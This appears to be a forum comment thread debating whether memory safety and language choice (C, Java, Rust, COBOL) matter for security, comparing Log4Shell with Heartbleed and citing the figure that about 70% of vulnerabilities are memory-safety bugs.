> Which had nothing to do with Java or how it manages memory. You could have the same vuln in NodeJS or Python.
I think parent was pointing out that the biggest and costliest security exploit ever found had nothing to do with buffer overflows, memory management, etc.
It seems almost impossible to say if log4shell was bigger or more costly than Heartbleed or the Debian OpenSSL bug (there are probably still keys out there made with the damaged randomness). Log4shell is just in recent memory.
> It seems almost impossible to say if log4shell was bigger or more costly than Heartbleed or the Debian OpenSSL bug (there are probably still keys out there made with the damaged randomness). Log4shell is just in recent memory.
Seems pretty clear to me - Heartbleed (and all the other serious memory exploits) required a great deal of skill and a lot of luck to exploit, and in return you either don't get a remote execution, or you get a very tiny chance of a remote execution.
In comparison, log4j is about as easy to exploit into an RCE as it is to use curl.
Log4j is a guaranteed remote-execution exploit just by filling in a user facing form with the correct URL, while memory exploits are not guaranteed to result in an RCE, requires more skill than simply typing into an input box or an email.
> Log4j is a guaranteed remote-execution exploit just by filling in a user facing form with the correct URL
This is only true of systems that were using very outdated JVM versions... on the newer ones (we're talking 2016 or newer JDK releases, not like last month), you would need to pull off a serialization exploit to indirectly get RCE, which is quite a bit harder than sending a HTTP request.
> Heartbleed (and all the other serious memory exploits) required a great deal of skill and a lot of luck to exploit, and in return you either don't get a remote execution, or you get a very tiny chance of a remote execution.
Heartbleed wasn't about RCE at all. It was about memory disclosure -- memory that contained secret signing keys. The fallout was that keys needed to be revoked and rotated.
Reading out memory and extracting the secret keys was actually pretty simple. There were multiple POCs available.
"The root cause of the Spectre and Meltdown vulnerabilities was that processor architects were trying to build not just fast processors, but fast processors that expose the same abstract machine as a PDP-11. This is essential because it allows C programmers to continue in the belief that their language is close to the underlying hardware."
Just because an academicist has an opinion does not make it fact. That quote reads like a blogpost and with its lack of citation it might as well be. Yes, it sounds plausible. but well.
Let's assume it's true: your argument would be "intel made a mistake, but since they would have only made that mistake when doing stuff that appeases C programmers (would they have?), it's actually because of C."
Now, I think this is a bit of a stretch.
ETA: or did you mean that it has to do with C for that reason? in which case, ok, I see how you mean.
Oh yea, if not for emulating the PDP-11, processor designers would have no interest in instruction level parallelism.
This article is pretty funny actually:
> On a modern high-end core, the register rename engine is one of the largest consumers of die area and power. To make matters worse, it cannot be turned off or power gated while any instructions are running
Yea, let's just gate off the RAT. What's it for again?
Java exposed the same abstract machine as a PDP-11 too. The key "PDP-11" thing is that all memory is treated as equally accessible, rather than the reality - i.e. that some memory is in caches on certain cores only and can therefore be accessed more efficiently on those cores.
How is it the biggest and costliest security exploit ever? With even the most basic of firewalls a server should absolutely have it is not really exploitable. I’m not trying to downplay it, but I really don’t see how is it even remotely close to some ssh bugs.
No, it's not. I can easily configure open ports using firewall-cmd. That is basic security. And there's no dedicated options to configure outgoing calls, there's no sane defaults to start with (I have no idea which targets should be whitelisted: ntp? update servers? anything else?), there's no system-wide integration, like my dnf can choose different mirror every time it runs.
Of course it makes sense to configure outbound white list, but there's no infrastructure in RHEL or Ubuntu and nobody's going to bother with custom scripts for that.
The point is that not every security problem stems from the memory model, and myopically focusing on memory safety evidently doesn't stop do much to prevent vulnerabilities.
According to Microsoft's data, about 70% of security vulnerabilities are memory safety bugs. So definitely not all, but taking them off the table makes a big difference.
Another big chunk of bugs, including forgetting to escape strings, can often be reduced by building strongly-typed APIs that distinguish between "String", "Sql" and "Html" types.
Java actually does quite well by these metrics. It's memory safe, tries to eliminate undefined behaviors, and it has an adequate type system. However, the mere existence of runtime code-loading is a risk, as we saw with Log4j.
I admit that I like C, but I would use it only sparingly (if at all) professionally at this point despite expert-level C experience and skill. However, that 70% figure is deeply saddening to someone coming at this from a C perspective - C is _dire_ in safety terms and I have personally found and fixed a large number of C bugs. The idea that it's _only_ 70% is pretty sad, because it means we are well and truly doomed.
I write this tongue in cheek, obviously. I've seen dire, dire security bugs in Java in particular but also in terms of fitting parts together (lo, broken ACLs, useless AWS SGs, inter-process assumptions that don't hold, injection vulnerabilities of myriad types, etc.). The truth is, we are doomed, and not just because of the 70%.
I'm not convinced this statistic is saying more than that these bugs are easily identifiable. There is a lot of tooling for identifying memory errors, and virtually none that could identify something like log4shell.
they are more easily identifiable, but they are also very simple. when writing C, you probably write a potential memory safety bug roughly every 100 lines. Even if you detect 99% with automated tooling that's still a pretty sizable attack surface.
every array access and string comparison is a potential vulnerability in C. I'm not saying that in practice, all of them will be vulnerable, just that every one of those is a place where you could miss a check and end up with a memory bug.
That's kind of a disingenuous way to reason about it. You absolutely can bounds check your memory accesses in C, and bounds-checked accesses are as safe in C as they are in any other language.
the point isn't that it's impossible to write C that's safe, it's that doing so requires 100% success rate of a human implementing something correctly. furthermore, the main cases where C can get a performance benefit over safer languages are where there is a complicated invariant that ensures safety. the problem is that these are incredibly easy to break during refactoring, or when a different dev modifies the code later. compilers are much better then humans at verifying that code is correct.
It has everything to do with Java, though not memory. It exploits Java's write-once-run-everywhere feature as well as the decision to initialize classes, including running code, on load rather than on first instantiation.
Which argues that maybe language choice just doesn't matter that much for security. It's true that C allows a class of mistakes that don't exist in higher level runtimes. It's equally true that this class of mistakes represents an increasingly vanishing share of real world exploits. Static analysis tools and runtime hardening techniques don't "fix" C, exactly. But in practice they work well enough to push C's foibles down into the noise floor.
But at the same time, C remains, and will probably always remain, the easiest language on which to tune and optimize. It's not going anywhere. Our grandkids will still be using systems with C firmware at their core.
> Which argues that maybe language choice just doesn't matter that much for security
No it doesn't. There is actually no logical way to infer from the parent statement that language choice doesn't matter for security.
> But in practice they work well enough to push C's foibles down into the noise floor.
This goes against findings from research that has been done into the sources of security vulnerabilities. Microsoft and the chrome dev teams have published that 70% of their security bugs are a result of memory safety.
If C is used in 100 years it will only be because of inertia. Today there are better choices in the domain of low level systems programming languages.
> If C is used in 100 years it will only be because of inertia. Today there are better choices in the domain of low level systems programming languages.
I'm not saying you're wrong, but there's effectively zero real kernel work done in anything other than c and c++. Tons of well-known open source Rust/microkernel stuff exists here in public, but behind closed doors is where almost all firmware work is happening. When someone at Microsoft, Apple, Qualcomm, Samsung, etc sits down to code firmware for billions of devices, it happens in c. I've never seen a serious proposal to switch to managed code at any of my jobs, either
I think we'll see more and more complex stuff move out of the kernel, but I don't think c is going the way of COBOL in the next 20 years at least. I'M definitely not going to start using Rust on my own, and it would take a pretty compelling case from management or a junior engineer to make me switch in the future.
Web browsers are one of the most poorly designed applications in existence. It's not surprising that such complex applications trying to do everything possible have vulnerabilities. But in no way that should serve as a benchmark for C as being inherently unsafe when far more important systems like databases, operating systems, system libraries are written in c just fine. Most of the common vulnerabilities in general are due to unnecessary complexity of systems that lend themselves to poor programming practices, configuration errors, low calibre programmers, etc (OWASP list for example). Memory safety vulnerabilities tend to just get more attention since they are in critical parts of a system, hard to exploit and so attracts highly sophisticated exploits that affect us at a nation state or industry level. If these systems were written in high languages by those high level developers, I'd go nowhere near any computer system.
> Which argues that maybe language choice just doesn't matter that much for security.
I think it just means that these languages all have elevated potential for security issues, but there are languages without pervasive gratuitous dynamism or memory problems.
> Static analysis tools and runtime hardening techniques don't "fix" C, exactly. But in practice they work well enough to push C's foibles down into the noise floor.
But that’s all additional effort to integrate these tools and practices onto a language which already has a very low iteration velocity (all of the time spent debugging memory issues, package issues, build system issues, etc which simply don’t exist in many modern languages).
> But at the same time, C remains, and will probably always remain, the easiest language on which to tune and optimize. It's not going anywhere. Our grandkids will still be using systems with C firmware at their core.
This sounds like a concession to me. Of course C will smolder on in obscure, legacy firmware long after it becomes obscure—so did COBOL, but we don’t pretend COBOL’s vestigial existence is owed to its merits rather than a quirk of history.
This is a fine and normal thing. C did it’s job for a time, but languages aren’t emerging which are better suited to modern computing requirements. This process will continue and these languages which are chipping away at C’s market share will be eroded themselves eventually.
> we don’t pretend COBOL’s vestigial existence is owed to its merits rather than a quirk of history.
Um. COBOL survived so long specifically because it did some things better than alternatives, mostly around how it handled numbers. Yes, also inertia and historical accident, but also because it was actually good at its job.
It beat out others of its day on merit, as did C, but we’re talking about C and COBOL competing against modern languages in a modern landscape. In other words, COBOL’s dominance in the 60s was due to merit, but it’s vestigial existence today is a historical artifact—it isn’t simply the best language for the application.